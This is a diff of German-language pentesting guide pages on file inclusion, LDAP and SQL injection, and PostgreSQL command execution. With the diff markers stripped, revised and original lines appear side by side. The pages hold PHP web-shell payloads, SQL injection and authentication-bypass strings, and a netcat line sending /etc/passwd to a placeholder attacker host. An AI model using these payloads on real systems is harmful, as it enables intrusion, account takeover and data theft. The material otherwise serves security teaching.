Zusammenfassend verwendet die Technik die **"UCS-4LE"-Kodierung**, um den Inhalt einer Datei so **groß** zu machen, dass die **PHP-Funktion**, die die Datei öffnet, einen **Fehler** auslöst.
Dann wird der Filter **`dechunk`** verwendet, um das erste Zeichen zu leaken, zusammen mit anderen wie **base64** oder **rot13**, und schließlich werden die Filter **convert.iconv.UCS-4.UCS-4LE** und **convert.iconv.UTF16.UTF-16BE** verwendet, um **andere Zeichen am Anfang zu platzieren und sie zu leaken**.
Um dann das erste Zeichen zu leaken, wird der Filter **`dechunk`** zusammen mit anderen wie **base64** oder **rot13** verwendet, und schließlich werden die Filter **convert.iconv.UCS-4.UCS-4LE** und **convert.iconv.UTF16.UTF-16BE** verwendet, um **andere Zeichen am Anfang zu platzieren und sie zu leaken**.
**Funktionen, die anfällig sein könnten**: `file_get_contents`, `readfile`, `finfo->file`, `getimagesize`, `md5_file`, `sha1_file`, `hash_file`, `file`, `parse_ini_file`, `copy`, `file_put_contents (nur Ziel nur lesend mit diesem)`, `stream_get_contents`, `fgets`, `fread`, `fgetc`, `fgetcsv`, `fpassthru`, `fputs`
@ -457,7 +457,7 @@ Fuzzing-Wortliste: [https://github.com/danielmiessler/SecLists/tree/master/Fuzzi
### Via /proc/\*/fd/\*
1. Laden Sie viele Shells hoch (zum Beispiel: 100)
2. Schließen Sie [http://example.com/index.php?page=/proc/$PID/fd/$FD](http://example.com/index.php?page=/proc/$PID/fd/$FD) ein, wobei $PID = PID des Prozesses (kann brute-forced werden) und $FD der Dateideskriptor (kann ebenfalls brute-forced werden).
2. Schließen Sie [http://example.com/index.php?page=/proc/$PID/fd/$FD](http://example.com/index.php?page=/proc/$PID/fd/$FD) ein, wobei $PID = PID des Prozesses (kann brute-forced werden) und $FD der Dateideskriptor (kann ebenfalls brute-forced werden)
### Via /proc/self/environ
@ -466,7 +466,7 @@ Wie eine Protokolldatei, senden Sie die Nutzlast im User-Agent, sie wird in der
GET vulnerable.php?filename=../../../proc/self/environ HTTP/1.1
User-Agent: <?=phpinfo(); ?>
```
### Via upload
### Via Upload
Wenn Sie eine Datei hochladen können, injizieren Sie einfach die Shell-Nutzlast darin (z.B.: `<?php system($_GET['c']); ?>`).
```
@ -480,7 +480,7 @@ Laden Sie eine ZIP-Datei hoch, die eine komprimierte PHP-Shell enthält, und gre
```python
example.com/page.php?file=zip://path/to/zip/hello.zip%23rce.php
```
### Via PHP-Sitzungen
### Über PHP-Sitzungen
Überprüfen Sie, ob die Website PHP-Sitzungen (PHPSESSID) verwendet.
```
@ -513,7 +513,7 @@ Die Protokolle für den FTP-Server vsftpd befinden sich in _**/var/log/vsftpd.lo
### Via php base64 filter (using base64)
Wie in [diesem](https://matan-h.com/one-lfi-bypass-to-rule-them-all-using-base64) Artikel gezeigt, ignoriert der PHP base64-Filter einfach Non-base64. Sie können dies verwenden, um die Überprüfung der Dateierweiterung zu umgehen: Wenn Sie base64 bereitstellen, das mit ".php" endet, wird das "." einfach ignoriert und "php" an das base64 angehängt. Hier ist ein Beispiel für eine Nutzlast:
Wie in [diesem](https://matan-h.com/one-lfi-bypass-to-rule-them-all-using-base64) Artikel gezeigt, ignoriert der PHP base64-Filter einfach Nicht-base64. Sie können dies verwenden, um die Überprüfung der Dateierweiterung zu umgehen: Wenn Sie base64 bereitstellen, das mit ".php" endet, wird das "." einfach ignoriert und "php" an das base64 angehängt. Hier ist ein Beispiel für eine Nutzlast:
```url
http://example.com/index.php?page=PHP://filter/convert.base64-decode/resource=data://plain/text,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+.php
@ -521,7 +521,7 @@ NOTE: the payload is "<?php system($_GET['cmd']);echo 'Shell done !'; ?>"
```
### Via php filters (no file needed)
Dieser [**writeup** ](https://gist.github.com/loknop/b27422d355ea1fd0d90d6dbc1e278d4d) erklärt, dass Sie **php-Filter verwenden können, um beliebige Inhalte** als Ausgabe zu generieren. Das bedeutet im Grunde, dass Sie **beliebigen php-Code** für die Include **generieren können, ohne ihn** in eine Datei schreiben zu müssen.
Dieser [**Bericht**](https://gist.github.com/loknop/b27422d355ea1fd0d90d6dbc1e278d4d) erklärt, dass Sie **php-Filter verwenden können, um beliebige Inhalte** als Ausgabe zu generieren. Das bedeutet im Grunde, dass Sie **beliebigen php-Code** für die Include **generieren können, ohne ihn** in eine Datei schreiben zu müssen.
{{#ref}}
lfi2rce-via-php-filters.md
@ -576,7 +576,7 @@ Content-Type:proxy:unix:/run/php/php-fpm.sock|fcgi://127.0.0.1/usr/local/lib/php
```
### Via phpinfo() (file_uploads = on)
Wenn Sie eine **Local File Inclusion** gefunden haben und eine Datei, die **phpinfo()** mit file_uploads = on anzeigt, können Sie RCE erhalten:
Wenn Sie eine **Local File Inclusion** und eine Datei gefunden haben, die **phpinfo()** mit file_uploads = on exponiert, können Sie RCE erhalten:
{{#ref}}
lfi2rce-via-phpinfo.md
@ -592,7 +592,7 @@ lfi2rce-via-compress.zlib-+-php_stream_prefer_studio-+-path-disclosure.md
### Via eternal waiting + bruteforce
Wenn Sie die LFI ausnutzen können, um **temporäre Dateien hochzuladen** und den Server die PHP-Ausführung **hängen** lassen, könnten Sie dann **Stunden lang Dateinamen bruteforcen**, um die temporäre Datei zu finden:
Wenn Sie die LFI ausnutzen können, um **temporäre Dateien hochzuladen** und den Server die PHP-Ausführung **hängen** lassen, könnten Sie dann **Stunden lang Dateinamen brute-forcen**, um die temporäre Datei zu finden:
{{#ref}}
lfi2rce-via-eternal-waiting.md
@ -612,6 +612,8 @@ Wenn Sie eine der Dateien `/usr/bin/phar`, `/usr/bin/phar7`, `/usr/bin/phar.phar
- [PayloadsAllTheThings](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/File%20Inclusion%20-%20Path%20Traversal)\\
- [PayloadsAllTheThings/tree/master/File%20Inclusion%20-%20Path%20Traversal/Intruders](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/File%20Inclusion%20-%20Path%20Traversal/Intruders)
{% file src="../../images/EN-Local-File-Inclusion-1.pdf" %}
{{#file}}
EN-Local-File-Inclusion-1.pdf
{{#endfile}}
{{#include ../../banners/hacktricks-training.md}}

View File

@ -6,27 +6,29 @@ Um diese Schwachstelle auszunutzen, benötigen Sie: **Eine LFI-Schwachstelle, ei
**Tutorial HTB**: [https://www.youtube.com/watch?v=rs4zEwONzzk\&t=600s](https://www.youtube.com/watch?v=rs4zEwONzzk&t=600s)
Sie müssen den Exploit beheben (ändern Sie **=>** in **=>**). Dazu können Sie:
Sie müssen den Exploit anpassen (ändern Sie **=>** in **=>**). Dazu können Sie:
```
sed -i 's/\[tmp_name\] \=>/\[tmp_name\] =\&gt/g' phpinfolfi.py
```
Du musst auch die **payload** zu Beginn des Exploits ändern (zum Beispiel für eine php-rev-shell), die **REQ1** (dies sollte auf die phpinfo-Seite zeigen und das Padding enthalten, d.h.: _REQ1="""POST /install.php?mode=phpinfo\&a="""+padding+""" HTTP/1.1_), und **LFIREQ** (dies sollte auf die LFI-Schwachstelle zeigen, d.h.: _LFIREQ="""GET /info?page=%s%%00 HTTP/1.1\r --_ Überprüfe das doppelte "%" beim Ausnutzen des Nullzeichens)
{% file src="../../images/LFI-With-PHPInfo-Assistance.pdf" %}
{{#file}}
LFI-With-PHPInfo-Assistance.pdf
{{#endfile}}
### Theorie
Wenn Uploads in PHP erlaubt sind und du versuchst, eine Datei hochzuladen, wird diese Datei in einem temporären Verzeichnis gespeichert, bis der Server die Anfrage verarbeitet hat, dann wird diese temporäre Datei gelöscht.
Wenn du eine LFI-Schwachstelle im Webserver gefunden hast, kannst du versuchen, den Namen der erstellten temporären Datei zu erraten und eine RCE auszunutzen, indem du auf die temporäre Datei zugreifst, bevor sie gelöscht wird.
Wenn du also eine LFI-Schwachstelle im Webserver gefunden hast, kannst du versuchen, den Namen der erstellten temporären Datei zu erraten und eine RCE auszunutzen, indem du auf die temporäre Datei zugreifst, bevor sie gelöscht wird.
In **Windows** werden die Dateien normalerweise in **C:\Windows\temp\php** gespeichert.
In **Linux** ist der Name der Datei **zufällig** und befindet sich in **/tmp**. Da der Name zufällig ist, muss der **Name der temporären Datei irgendwo extrahiert** und darauf zugegriffen werden, bevor sie gelöscht wird. Dies kann erreicht werden, indem der Wert der **Variable $\_FILES** im Inhalt der Funktion "**phpconfig()**" gelesen wird.
In **Linux** war der Name der Datei **zufällig** und befand sich in **/tmp**. Da der Name zufällig ist, ist es notwendig, **den Namen der temporären Datei irgendwo zu extrahieren** und darauf zuzugreifen, bevor sie gelöscht wird. Dies kann erreicht werden, indem der Wert der **Variable $\_FILES** im Inhalt der Funktion "**phpconfig()**" gelesen wird.
**phpinfo()**
**PHP** verwendet einen Puffer von **4096B** und wenn er **voll** ist, wird er **an den Client gesendet**. Dann kann der Client **viele große Anfragen senden** (unter Verwendung großer Header), **eine php** Reverse **Shell hochladen**, auf die **erste Rückgabe von phpinfo() warten** (wo der Name der temporären Datei steht) und versuchen, **auf die Temp-Datei zuzugreifen**, bevor der PHP-Server die Datei löscht, indem er eine LFI-Schwachstelle ausnutzt.
**PHP** verwendet einen Puffer von **4096B** und wenn er **voll** ist, wird er **an den Client gesendet**. Dann kann der Client **eine Menge großer Anfragen senden** (unter Verwendung großer Header), **eine php** Reverse **Shell hochladen**, auf die **erste Rückgabe von phpinfo() warten** (wo der Name der temporären Datei steht) und versuchen, **auf die temporäre Datei zuzugreifen**, bevor der PHP-Server die Datei löscht, indem er eine LFI-Schwachstelle ausnutzt.
**Python-Skript, um zu versuchen, den Namen zu bruteforcen (wenn die Länge = 6)**
```python

View File

@ -14,23 +14,25 @@
../network-services-pentesting/pentesting-ldap.md
{{#endref}}
**LDAP Injection** ist ein Angriff, der auf Webanwendungen abzielt, die LDAP-Anweisungen aus Benutzereingaben erstellen. Es tritt auf, wenn die Anwendung **nicht ordnungsgemäß** Eingaben bereinigt, was Angreifern ermöglicht, **LDAP-Anweisungen** über einen lokalen Proxy zu **manipulieren**, was potenziell zu unbefugtem Zugriff oder Datenmanipulation führen kann.
**LDAP Injection** ist ein Angriff, der auf Webanwendungen abzielt, die LDAP-Anweisungen aus Benutzereingaben erstellen. Es tritt auf, wenn die Anwendung **nicht ordnungsgemäß** Eingaben **bereinigt**, was Angreifern ermöglicht, **LDAP-Anweisungen** über einen lokalen Proxy zu **manipulieren**, was potenziell zu unbefugtem Zugriff oder Datenmanipulation führen kann.
{% file src="../images/EN-Blackhat-Europe-2008-LDAP-Injection-Blind-LDAP-Injection.pdf" %}
{{#file}}
EN-Blackhat-Europe-2008-LDAP-Injection-Blind-LDAP-Injection.pdf
{{#endfile}}
**Filter** = ( filtercomp )\
**Filtercomp** = und / oder / nicht / element\
**Und** = & filterlist\
**Oder** = |filterlist\
**Und** = & filterliste\
**Oder** = |filterliste\
**Nicht** = ! filter\
**Filterlist** = 1\*filter\
**Filterliste** = 1\*filter\
**Element**= einfach / vorhanden / substring\
**Einfach** = attr filtertype assertionvalue\
**Filtertype** = _'=' / '\~=' / '>=' / '<='_\
**Einfach** = attr filtertyp assertionswert\
**Filtertyp** = _'=' / '\~=' / '>=' / '<='_\
**Vorhanden** = attr = \*\
**Substring** = attr ”=” \[initial] \* \[final]\
**Initial** = assertionvalue\
**Final** = assertionvalue\
**Initial** = assertionswert\
**Final** = assertionswert\
&#xNAN;**(&)** = Absolut WAHR\
&#xNAN;**(|)** = Absolut FALSCH

View File

@ -4,7 +4,7 @@
## Was ist SQL-Injection?
Eine **SQL-Injection** ist eine Sicherheitsanfälligkeit, die es Angreifern ermöglicht, **Datenbankabfragen** einer Anwendung zu **beeinflussen**. Diese Schwachstelle kann Angreifern ermöglichen, **Daten anzuzeigen**, **zu ändern** oder **zu löschen**, auf die sie keinen Zugriff haben sollten, einschließlich Informationen anderer Benutzer oder aller Daten, auf die die Anwendung zugreifen kann. Solche Aktionen können zu dauerhaften Änderungen an der Funktionalität oder dem Inhalt der Anwendung führen oder sogar zu einer Kompromittierung des Servers oder einem Denial of Service.
Eine **SQL-Injection** ist eine Sicherheitsanfälligkeit, die es Angreifern ermöglicht, **Datenbankabfragen** einer Anwendung zu **beeinflussen**. Diese Schwachstelle kann Angreifern ermöglichen, **Daten anzuzeigen**, **zu ändern** oder **zu löschen**, auf die sie keinen Zugriff haben sollten, einschließlich Informationen anderer Benutzer oder aller Daten, auf die die Anwendung zugreifen kann. Solche Aktionen können zu dauerhaften Änderungen an der Funktionalität oder dem Inhalt der Anwendung führen oder sogar zu einer Kompromittierung des Servers oder zu einem Denial of Service.
## Erkennung von Einstiegspunkten
@ -53,7 +53,7 @@ HQL does not support comments
```
### Bestätigen mit logischen Operationen
Eine zuverlässige Methode zur Bestätigung einer SQL-Injection-Schwachstelle besteht darin, eine **logische Operation** auszuführen und die erwarteten Ergebnisse zu beobachten. Zum Beispiel deutet ein GET-Parameter wie `?username=Peter`, der identische Inhalte liefert, wenn er auf `?username=Peter' or '1'='1` geändert wird, auf eine SQL-Injection-Schwachstelle hin.
Eine zuverlässige Methode zur Bestätigung einer SQL-Injection-Schwachstelle besteht darin, eine **logische Operation** auszuführen und die erwarteten Ergebnisse zu beobachten. Zum Beispiel zeigt ein GET-Parameter wie `?username=Peter`, der identische Inhalte liefert, wenn er auf `?username=Peter' or '1'='1` geändert wird, eine SQL-Injection-Schwachstelle an.
Ebenso dient die Anwendung von **mathematischen Operationen** als effektive Bestätigungstechnik. Wenn beispielsweise der Zugriff auf `?id=1` und `?id=2-1` dasselbe Ergebnis liefert, ist dies ein Hinweis auf SQL-Injection.
@ -66,12 +66,14 @@ page.asp?id=1 and 1=2 -- results in false
```
Diese Wortliste wurde erstellt, um **SQL-Injektionen** auf die vorgeschlagene Weise zu **bestätigen**:
{% file src="../../images/sqli-logic.txt" %}
{{#file}}
sqli-logic.txt
{{#endfile}}
### Bestätigung mit Timing
In einigen Fällen **werden Sie keine Änderung** auf der Seite bemerken, die Sie testen. Daher ist eine gute Möglichkeit, **blinde SQL-Injektionen** zu entdecken, die DB Aktionen ausführen zu lassen, die einen **Einfluss auf die Zeit** haben, die die Seite zum Laden benötigt.\
Daher werden wir in der SQL-Abfrage eine Operation concatenieren, die viel Zeit in Anspruch nehmen wird:
In einigen Fällen **werden Sie keine Änderungen** auf der Seite bemerken, die Sie testen. Daher ist eine gute Möglichkeit, **blinde SQL-Injektionen** zu **entdecken**, die DB Aktionen ausführen zu lassen, die einen **Einfluss auf die Zeit** haben, die die Seite zum Laden benötigt.\
Daher werden wir in der SQL-Abfrage eine Operation anhängen, die viel Zeit in Anspruch nehmen wird:
```
MySQL (string concat and logical ops)
1' + sleep(10)
@ -128,7 +130,7 @@ Der beste Weg, das Back-end zu identifizieren, besteht darin, Funktionen der ver
Auch wenn Sie Zugriff auf die Ausgabe der Abfrage haben, könnten Sie **die Version der Datenbank ausgeben lassen**.
> [!NOTE]
> In der Fortsetzung werden wir verschiedene Methoden zur Ausnutzung verschiedener Arten von SQL-Injection diskutieren. Wir werden MySQL als Beispiel verwenden.
> In der Fortsetzung werden wir verschiedene Methoden zur Ausnutzung verschiedener Arten von SQL-Injection besprechen. Wir werden MySQL als Beispiel verwenden.
### Identifizierung mit PortSwigger
@ -142,7 +144,7 @@ https://portswigger.net/web-security/sql-injection/cheat-sheet
Wenn Sie die Ausgabe der Abfrage sehen können, ist dies der beste Weg, um sie auszunutzen.\
Zunächst müssen wir die **Anzahl** der **Spalten** herausfinden, die die **ursprüngliche Anfrage** zurückgibt. Dies liegt daran, dass **beide Abfragen die gleiche Anzahl von Spalten zurückgeben müssen**.\
Zwei Methoden werden typischerweise zu diesem Zweck verwendet:
Zwei Methoden werden typischerweise für diesen Zweck verwendet:
#### Order/Group by
@ -185,7 +187,7 @@ In den nächsten Beispielen werden wir den Namen aller Datenbanken, den Tabellen
#Column names
-1' UniOn Select 1,2,3,gRoUp_cOncaT(0x7c,column_name,0x7C) fRoM information_schema.columns wHeRe table_name=[table name]
```
_Es gibt einen anderen Weg, um diese Daten in jeder verschiedenen Datenbank zu entdecken, aber es ist immer die gleiche Methodik._
_Es gibt einen anderen Weg, um diese Daten in jeder verschiedenen Datenbank zu entdecken, aber die Methodik bleibt immer gleich._
## Ausnutzen von versteckten Union-basierten Injektionen
@ -195,11 +197,11 @@ Dies kann durch die Verwendung von Blindinjektionstechniken zusammen mit den Sta
Sobald die Abfrage extrahiert wurde, ist es notwendig, Ihr Payload so anzupassen, dass die ursprüngliche Abfrage sicher geschlossen wird. Anschließend wird eine Union-Abfrage an Ihr Payload angehängt, um die Ausnutzung der neu zugänglichen union-basierten Injektion zu ermöglichen.
Für umfassendere Einblicke konsultieren Sie den vollständigen Artikel unter [Healing Blind Injections](https://medium.com/@Rend_/healing-blind-injections-df30b9e0e06f).
Für umfassendere Einblicke verweisen Sie auf den vollständigen Artikel, der unter [Healing Blind Injections](https://medium.com/@Rend_/healing-blind-injections-df30b9e0e06f) verfügbar ist.
## Ausnutzen von Fehler-basierten Injektionen
Wenn Sie aus irgendeinem Grund die **Ausgabe** der **Abfrage** **nicht** sehen können, aber die **Fehlermeldungen** sehen können, können Sie diese Fehlermeldungen verwenden, um Daten aus der Datenbank zu **exfiltrieren**.\
Wenn Sie aus irgendeinem Grund die **Ausgabe** der **Abfrage** **nicht** sehen können, aber die **Fehlermeldungen** sehen können, können Sie diese Fehlermeldungen nutzen, um Daten aus der Datenbank zu **exfiltrieren**.\
Folgen Sie einem ähnlichen Ablauf wie bei der Union-basierten Ausnutzung, um die DB zu dumpen.
```sql
(select 1 and row(1,1)>(select count(*),concat(CONCAT(@@VERSION),0x3a,floor(rand()*2))x from (select 1 union select 2)a group by x limit 1))
@ -213,7 +215,7 @@ In diesem Fall können Sie dieses Verhalten ausnutzen, um die Datenbank Zeichen
```
## Ausnutzen von Error Blind SQLi
Dies ist der **gleiche Fall wie zuvor**, aber anstatt zwischen einer wahren/falschen Antwort von der Abfrage zu unterscheiden, können Sie **zwischen** einem **Fehler** in der SQL-Abfrage oder nicht unterscheiden (vielleicht weil der HTTP-Server abstürzt). Daher können Sie in diesem Fall jedes Mal einen SQL-Fehler erzwingen, wenn Sie das Zeichen korrekt erraten:
Dies ist der **gleiche Fall wie zuvor**, aber anstatt zwischen einer wahren/falschen Antwort aus der Abfrage zu unterscheiden, können Sie **zwischen** einem **Fehler** in der SQL-Abfrage oder nicht unterscheiden (vielleicht weil der HTTP-Server abstürzt). Daher können Sie in diesem Fall einen SQL-Fehler erzwingen, jedes Mal, wenn Sie das Zeichen richtig erraten:
```sql
AND (SELECT IF(1,(SELECT table_name FROM information_schema.tables),'a'))-- -
```
@ -245,7 +247,7 @@ a' UNION SELECT EXTRACTVALUE(xmltype('<?xml version="1.0" encoding="UTF-8"?><!DO
## Technikspezifische Informationen
Wir haben bereits alle Möglichkeiten besprochen, eine SQL Injection-Schwachstelle auszunutzen. Finden Sie einige weitere Tricks, die von der Datenbanktechnologie abhängen, in diesem Buch:
Wir haben bereits alle Möglichkeiten besprochen, eine SQL-Injection-Schwachstelle auszunutzen. Finden Sie einige weitere Tricks, die von der Datenbanktechnologie abhängen, in diesem Buch:
- [MS Access](ms-access-sql-injection.md)
- [MSSQL](mssql-injection.md)
@ -272,7 +274,7 @@ Diese Abfrage zeigt eine Schwachstelle, wenn MD5 mit true für die Rohausgabe in
md5("ffifdyop", true) = 'or'6<>]<5D><>!r,<2C><>b<EFBFBD>
sha1("3fDf ", true) = Q<>u'='<27>@<40>[<5B>t<EFBFBD>- o<><6F>_-!
```
### Umgehung der injizierten Hash-Authentifizierung
### Umgehung der Hash-Authentifizierung durch Injection
```sql
admin' AND 1=0 UNION ALL SELECT 'admin', '81dc9bdb52d04dc20036dbd8313ed055'
```
@ -281,11 +283,13 @@ admin' AND 1=0 UNION ALL SELECT 'admin', '81dc9bdb52d04dc20036dbd8313ed055'
Sie sollten als Benutzernamen jede Zeile der Liste verwenden und als Passwort immer: _**Pass1234.**_\
&#xNAN;_(Diese Payloads sind auch in der großen Liste enthalten, die zu Beginn dieses Abschnitts erwähnt wurde)_
{% file src="../../images/sqli-hashbypass.txt" %}
{{#file}}
sqli-hashbypass.txt
{{#endfile}}
### GBK Authentifizierungsumgehung
### GBK-Authentifizierungsumgehung
WENN ' escaped wird, können Sie %A8%27 verwenden, und wenn ' escaped wird, wird es erstellt: 0xA80x5c0x27 (_╘'_)
WENN ' escaped wird, können Sie %A8%27 verwenden, und wenn ' escaped wird, wird erstellt: 0xA80x5c0x27 (_╘'_)
```sql
%A8%27 OR 1=1;-- 2
%8C%A8%27 OR 1=1-- 2
@ -304,25 +308,25 @@ print r.text
```sql
SLEEP(1) /*' or SLEEP(1) or '" or SLEEP(1) or "*/
```
## Insert Statement
## Insert-Anweisung
### Passwort eines bestehenden Objekts/Benutzers ändern
Dazu sollten Sie versuchen, **ein neues Objekt mit dem Namen des "Master-Objekts"** (wahrscheinlich **admin** im Falle von Benutzern) zu erstellen, indem Sie etwas ändern:
- Benutzer mit dem Namen erstellen: **AdMIn** (Groß- und Kleinbuchstaben)
- Einen Benutzer mit dem Namen erstellen: **admin=**
- **SQL Truncation Attack** (wenn es eine Art von **Längenbeschränkung** im Benutzernamen oder in der E-Mail gibt) --> Benutzer mit dem Namen erstellen: **admin \[viele Leerzeichen] a**
- Erstellen Sie einen Benutzer mit dem Namen: **AdMIn** (Groß- und Kleinbuchstaben)
- Erstellen Sie einen Benutzer mit dem Namen: **admin=**
- **SQL-Truncation-Angriff** (wenn es eine Art von **Längenbeschränkung** im Benutzernamen oder in der E-Mail gibt) --> Erstellen Sie einen Benutzer mit dem Namen: **admin \[viele Leerzeichen] a**
#### SQL Truncation Attack
#### SQL-Truncation-Angriff
Wenn die Datenbank anfällig ist und die maximale Anzahl von Zeichen für den Benutzernamen beispielsweise 30 beträgt und Sie den Benutzer **admin** impersonieren möchten, versuchen Sie, einen Benutzernamen mit dem Namen: "_admin \[30 Leerzeichen] a_" und einem beliebigen Passwort zu erstellen.
Die Datenbank wird **überprüfen**, ob der eingegebene **Benutzername** **in** der Datenbank **existiert**. Wenn **nicht**, wird sie den **Benutzernamen** auf die **maximal erlaubte Anzahl von Zeichen** (in diesem Fall auf: "_admin \[25 Leerzeichen]_") **kürzen** und dann wird sie **automatisch alle Leerzeichen am Ende entfernen, indem sie** in der Datenbank den Benutzer "**admin**" mit dem **neuen Passwort** aktualisiert (einige Fehler könnten auftreten, aber das bedeutet nicht, dass es nicht funktioniert hat).
Die Datenbank wird **überprüfen**, ob der eingegebene **Benutzername** **in** der Datenbank **existiert**. Wenn **nicht**, wird der **Benutzername** auf die **maximal erlaubte Anzahl von Zeichen** (in diesem Fall auf: "_admin \[25 Leerzeichen]_") **gekürzt** und dann werden **automatisch alle Leerzeichen am Ende entfernt**, wobei der Benutzer "**admin**" in der Datenbank mit dem **neuen Passwort** aktualisiert wird (es könnte ein Fehler auftreten, aber das bedeutet nicht, dass es nicht funktioniert hat).
Weitere Informationen: [https://blog.lucideus.com/2018/03/sql-truncation-attack-2018-lucideus.html](https://blog.lucideus.com/2018/03/sql-truncation-attack-2018-lucideus.html) & [https://resources.infosecinstitute.com/sql-truncation-attack/#gref](https://resources.infosecinstitute.com/sql-truncation-attack/#gref)
_Hinweis: Dieser Angriff wird in den neuesten MySQL-Installationen nicht mehr wie oben beschrieben funktionieren. Während Vergleiche standardmäßig nachfolgende Leerzeichen ignorieren, führt der Versuch, eine Zeichenfolge einzufügen, die länger ist als die Länge eines Feldes, zu einem Fehler, und die Einfügung schlägt fehl. Für weitere Informationen zu dieser Überprüfung:_ [_https://heinosass.gitbook.io/leet-sheet/web-app-hacking/exploitation/interesting-outdated-attacks/sql-truncation_](https://heinosass.gitbook.io/leet-sheet/web-app-hacking/exploitation/interesting-outdated-attacks/sql-truncation)
_Hinweis: Dieser Angriff funktioniert in den neuesten MySQL-Installationen nicht mehr wie oben beschrieben. Während Vergleiche standardmäßig nachfolgende Leerzeichen ignorieren, führt der Versuch, eine Zeichenfolge einzufügen, die länger ist als die Länge eines Feldes, zu einem Fehler, und die Einfügung schlägt fehl. Für weitere Informationen zu dieser Überprüfung:_ [_https://heinosass.gitbook.io/leet-sheet/web-app-hacking/exploitation/interesting-outdated-attacks/sql-truncation_](https://heinosass.gitbook.io/leet-sheet/web-app-hacking/exploitation/interesting-outdated-attacks/sql-truncation)
### MySQL Insert zeitbasierte Überprüfung
@ -340,7 +344,7 @@ Eine Injektions-Payload könnte wie folgt erstellt werden, wobei versucht wird,
```sql
INSERT INTO users (email, password) VALUES ("generic_user@example.com", "bcrypt_hash_of_newpassword"), ("admin_generic@example.com", "bcrypt_hash_of_newpassword") ON DUPLICATE KEY UPDATE password="bcrypt_hash_of_newpassword" -- ";
```
So funktioniert es:
Hier ist, wie es funktioniert:
- Die Abfrage versucht, zwei Zeilen einzufügen: eine für `generic_user@example.com` und eine andere für `admin_generic@example.com`.
- Wenn die Zeile für `admin_generic@example.com` bereits existiert, wird die Klausel `ON DUPLICATE KEY UPDATE` ausgelöst, die MySQL anweist, das Feld `password` der vorhandenen Zeile auf "bcrypt_hash_of_newpassword" zu aktualisieren.
@ -369,7 +373,7 @@ Um den Text zu erhalten, können Sie Folgendes verwenden:
```python
__import__('binascii').unhexlify(hex(215573607263)[2:])
```
Verwenden von **hex** und **replace** (und **substr**):
Verwendung von **hex** und **replace** (und **substr**):
```sql
'+(select hex(replace(replace(replace(replace(replace(replace(table_name,"j"," "),"k","!"),"l","\""),"m","#"),"o","$"),"_","%")) FROM information_schema.tables WHERE table_schema=database() ORDER BY table_name ASC limit 0,1)+'
@ -426,7 +430,7 @@ Blacklist unter Verwendung von Schlüsselwörtern - Umgehung durch Groß-/Kleins
?id=1 AnD 1=1#
?id=1 aNd 1=1#
```
Blacklist unter Verwendung von Schlüsselwörtern, nicht groß-/kleinschreibungsempfindlich - Umgehung mit einem äquivalenten Operator
Blacklist unter Verwendung von Schlüsselwörtern, nicht fallabhängig - Umgehung mit einem äquivalenten Operator
```
AND -> && -> %26%26
OR -> || -> %7C%7C

View File

@ -4,7 +4,7 @@
## PostgreSQL-Erweiterungen
PostgreSQL wurde mit Erweiterbarkeit als Kernfunktion entwickelt, die es ermöglicht, Erweiterungen nahtlos zu integrieren, als wären sie integrierte Funktionen. Diese Erweiterungen, im Wesentlichen in C geschriebene Bibliotheken, bereichern die Datenbank mit zusätzlichen Funktionen, Operatoren oder Typen.
PostgreSQL wurde mit Erweiterbarkeit als Kernfeature entwickelt, was es ermöglicht, Erweiterungen nahtlos zu integrieren, als wären sie integrierte Funktionen. Diese Erweiterungen, im Wesentlichen in C geschriebene Bibliotheken, bereichern die Datenbank mit zusätzlichen Funktionen, Operatoren oder Typen.
Seit Version 8.1 wird eine spezifische Anforderung an die Erweiterungsbibliotheken gestellt: Sie müssen mit einem speziellen Header kompiliert werden. Ohne dies wird PostgreSQL sie nicht ausführen, um sicherzustellen, dass nur kompatible und potenziell sichere Erweiterungen verwendet werden.
@ -14,7 +14,7 @@ Denken Sie auch daran, dass **wenn Sie nicht wissen, wie man** [**Dateien auf da
**Für weitere Informationen siehe: [https://www.dionach.com/blog/postgresql-9-x-remote-command-execution/](https://www.dionach.com/blog/postgresql-9-x-remote-command-execution/)**
Die Ausführung von Systembefehlen aus PostgreSQL 8.1 und früheren Versionen ist ein Prozess, der klar dokumentiert und unkompliziert ist. Es ist möglich, dies zu verwenden: [Metasploit-Modul](https://www.rapid7.com/db/modules/exploit/linux/postgres/postgres_payload).
Die Ausführung von Systembefehlen aus PostgreSQL 8.1 und früheren Versionen ist ein Prozess, der klar dokumentiert und unkompliziert ist. Es ist möglich, dieses: [Metasploit-Modul](https://www.rapid7.com/db/modules/exploit/linux/postgres/postgres_payload) zu verwenden.
```sql
CREATE OR REPLACE FUNCTION system (cstring) RETURNS integer AS '/lib/x86_64-linux-gnu/libc.so.6', 'system' LANGUAGE 'c' STRICT;
SELECT system('cat /etc/passwd | nc <attacker IP> <attacker port>');
@ -26,7 +26,7 @@ CREATE OR REPLACE FUNCTION close(int) RETURNS int AS '/lib/libc.so.6', 'close' L
```
<details>
<summary>Schreibe eine Binärdatei aus Base64</summary>
<summary>Schreibe Binärdatei aus Base64</summary>
Um eine Binärdatei in eine Datei in Postgres zu schreiben, müssen Sie möglicherweise Base64 verwenden, das wird in diesem Fall hilfreich sein:
```sql
@ -68,7 +68,7 @@ $$ LANGUAGE 'plpgsql';
```
</details>
Allerdings wurde bei dem Versuch auf höheren Versionen **der folgende Fehler angezeigt**:
Allerdings wurde bei dem Versuch an höheren Versionen **der folgende Fehler angezeigt**:
```c
ERROR: incompatible library “/lib/x86_64-linux-gnu/libc.so.6”: missing magic block
HINT: Extension libraries are required to use the PG_MODULE_MAGIC macro.
@ -81,7 +81,7 @@ Dieser Fehler wird in der [PostgreSQL-Dokumentation](https://www.postgresql.org/
> `PG_MODULE_MAGIC;`\
> `#endif`
Seit der Version 8.2 von PostgreSQL ist der Prozess für einen Angreifer, das System auszunutzen, schwieriger geworden. Der Angreifer muss entweder eine Bibliothek verwenden, die bereits auf dem System vorhanden ist, oder eine benutzerdefinierte Bibliothek hochladen. Diese benutzerdefinierte Bibliothek muss gegen die kompatible Hauptversion von PostgreSQL kompiliert werden und muss einen spezifischen "magischen Block" enthalten. Diese Maßnahme erhöht die Schwierigkeit, PostgreSQL-Systeme auszunutzen, erheblich, da sie ein tieferes Verständnis der Systemarchitektur und der Versionskompatibilität erfordert.
